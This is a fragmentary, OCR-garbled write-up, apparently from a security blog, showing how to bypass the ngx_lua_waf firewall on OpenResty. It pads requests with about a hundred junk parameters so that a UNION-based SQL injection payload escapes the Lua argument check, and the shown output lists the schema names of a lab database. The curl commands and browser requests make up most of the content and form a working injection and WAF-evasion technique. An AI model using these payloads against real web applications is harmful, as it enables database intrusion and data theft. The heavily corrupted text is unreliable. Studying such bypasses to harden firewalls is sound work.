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“server { listen 80; server_name localhost;

location /test { content_by_lua_block { local arg = ngx.req.get_uri_args() for k,v in pairs(arg) do ngx.say("[GET ]
key:", k, " v:", v) end ngx.req.read_body() local arg = ngx.req.get_post_args() for k,v in pairs(arg) do ngx.say("
[POST] key:", k,"v:",v)end } } }
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[root@localhost /1# curl '127.0.0.1/test?a=1&b=2" -d
[GET ] key:b v:2

[GET ] key:a v:
[POST] key:d wv:
[POST] key:c v::
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~oot@localhost /]1# curl '127.0.0.1/test?id=1&id=2&1d=3&1d=4"
] key:id v:1234
oot@localhost /]# curl '127.0.0.1/test?id=1&1d=2&1iD=3&ID=4"

] key:ID v:4
] key:iD v:3
] key:Id v:2
] key:id wv:1
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curl '127.0.0.1/test? a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&
a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&
a2=28a2=2&a2=28a2=2&a2=28a2=2&a2=28a2=2&a2=28a2=2&
a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&
a4=48a4=4&a4=48ad=4&a4=4&ad=4&a4=4&ad=4&a4=4&ad=4&
a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&
a6=68&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&
a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&
a8=88&a8=8RaB8=8&a8=8&aB8=8&a8=8&aB8=8&a8=8&a8=8&a8=8&
29=98&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9& id=1 union select 1,schema_name,3 from
INFORMATION_SCHEMA.schemata'
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[root@localhost ~1# curl '"127.0.0.1/test?al0=0&a
&al=l&a &al=l&al=lgal=l&al=1l&al=1&al=1&a
&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&ad=4¢
% 5=5&a5=5&a5=5&a5=5&ab=5&a5=5&a5=5&ab5=5&a
9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9%=

me,3 from INEC ‘AV‘HEMA.schemata‘ | sort -t ":"

% Total % Received ferd Average Speed Time Time Time Current

Dlcad Upload Total Spent Left Speed

135 270 0 270 0 0 413k 0 ——1——1—— ——1-—1-—- ——1-—1-— 0
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al0=0&a0=0&a0=0&a0=0

(hGMdtd | 5ort t “:“
% Total % Received ferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
418 270 0 0 0 566 323k 677k ——i1——:1—— ——i1-——1-—— ——i-—-i1-- 0
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A, ngx_lua_waf

ngx_lua_waf@—EFlua-nginx-module(openresty)idweb iz FEBH X i

githubjEf5 : https://github.com/loveshell/ngx lua waf

=ERE -


af://n34
af://n37
https://github.com/loveshell/ngx_lua_waf

@ Load URL | http://192.168.8.147 test/sql.php?id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
B split URL

»|  Execute

[ Enable Post data ] Enable Referrer
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& Lload URL |http:;//192.168.8.147 ftest/sql.php?

g% split URL al=08a0=08a0=08a0=08a0=08a0=08a0=08a0=08a0=08a0=08&a1=18&a1=18&al1=18a1=18a1=1&al1=18a1=1&al1=18a1=1&al1=18&
- a2=28&8a2=28a’=28a2=28a2=28a2=28a2=28a2=2&a2=28a2=28a3=38a3=38a3=38a3=38a3=38a3=3Ra3=3Ra3=38a3=3&a3=38
ad=A8ad=48ad =483 —A&1ad = A& ad = 48134 = A 81ad =4 &ad =4 Biad = A81a5 = 58a5 = 5&a5=58a5=58a5=58a5=58a5=58a5=58a5=5&a5=58&
ab=06830=08a0=08a0=0830=08ab=68a0=08a0=08a0=08a0=08a7 =T8a7 =T8a7=7T8aT=TBaT7=78&a7=7T8a7=T8a7=T8a7=TRa7=78&
aB=B81a8=88a8=88a8=88a8=88aB=88a8=88a8=B8aB=88aB=88a9=98a9=08a9=98a9=08a9=08a9=08a0=08a9=98a9=0&a9=08:
id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA. schemata

v Ewecute

[ Enable Post data [] Enable Referrer

1 admin

1 information_schema
1 mysq|

1 performance_schema
1 test

SELECT * FROM admin WHERE id = 1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
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& Load URL |http://192.168.8.147 /test/sql.php?id=1 union select 1 schema_name,3 from INFORMATION _SCHEMA.schemata
® split URL

¥ Execute

[] Enable Post data [ ] Enable Referrer

ZRIIP/T: 192.168.8.1
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@ Load URL | http://192.168.8.147 ftest/sql.php?

g% split URL id=18&id=18id=1&id=1&id=18&id=18id=18ud=1&id=18&id=18ud="1&id=1&id=18&id=184d=1&id=1&id=18id=18id=18id=18&
- id=18&id=18id=18&id=18&id=1&id=18id=18ud=18id=18&id=18id=18id=18&id=18id=18id=18id=1&id=18id=18&id=18id=1&
») Execute id=18&id=18id=18&id=18id=18&id=18id=18ud=18&id=18&id=18ud=18id=18&id=18id=184d=18id=18&id=18id=18id=18id=18&
id=18&id=18&id=1&id=1&id=1&id=1&id=1&id=18&id=18&id=18id=18&id=1&id=18&id=18&id=18&id=1&id=18&id=18&id=18&id=1&
id=18&id=18&id=18&id=18&id=1&id=18&id=18ud=18&id=18&id=18ud=18id=18&id=18&id=18id=18id=18&id=18id=18&id=18id=18&
id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata

[ Enable Post data [] Enable Referrer

1 admin

1 information_schema
1 mysgl

1 performance_schema
1 test

SELECT * FROM admin WHERE id = 1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
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